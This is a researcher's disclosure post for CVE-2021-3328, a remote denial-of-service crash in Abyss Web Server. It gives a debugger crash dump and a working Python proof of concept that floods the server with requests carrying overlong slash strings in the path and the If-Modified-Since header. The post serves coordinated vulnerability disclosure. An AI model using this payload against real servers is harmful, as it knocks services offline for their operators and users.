CVE-2021-3328 – Abyss Web Server – Remote DoS

Hello,

recently I spent some time working on my HTTP fuzzer. Running it against affected version of Abyss Web Server it was possible to cause Denial of Service attack (the application crashed). Based on my analysis the bug is not exploitable.

Crash:

Crash details:

```
(4768.5728): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

*** ERROR: Module load completed but symbols could not be loaded for C:\Abyss Web Server\abysssws.exe

abysssws+0x807db:

00000000`004807db 8a4601          mov     al,byte ptr [rsi+1] ds:00000000`0489b000=??

0:016> r

rax=0000000000000000 rbx=00000000076b3818 rcx=00000000053bfba0

rdx=0000000004899da8 rsi=000000000489afff rdi=0000000004899d38

rip=00000000004807db rsp=00000000053bfb00 rbp=0000000000000000

r8=0000000004899a08  r9=0000000000000000 r10=00000000004dbb72

r11=0000000004899d22 r12=00000000053bfba0 r13=00000000076b37c8

r14=0000000000000000 r15=0000000005db1f18

iopl=0         nv up ei ng nz ac pe cy

cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293

abysssws+0x807db:

00000000`004807db 8a4601          mov     al,byte ptr [rsi+1] ds:00000000`0489b000=??
```

(ugly and dirty) PoC:

```
from threading import Thread

import requests

import socket

def cause_dos():

    for x in range(0,500):

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.connect((“192.168.65.128” , 80))
```

```
        pingdata = “””GET
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////// HTTP/1.1\r

Accept: text/plain\r

Connection: Close\r

If-Modified-Since:
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////\r

Host: 192.168.65.128\r\n\r\n”””

        data = pingdata.encode()

        s.sendall(data)

# Start all threads.

threads = []

for n in range(1,3):

    t = Thread(target=cause_dos)

    t.start()

    threads.append(t)

# Wait all threads to finish.

for t in threads:

    t.join()
```

The problem is located in code which is responsible for parsing “If-Modified-Since” header.

Vendor was informed about this bug and we agreed not to release technical details before oficial patch is out. Props to Abyss security team for handling this report with care.

admin / April 8, 2021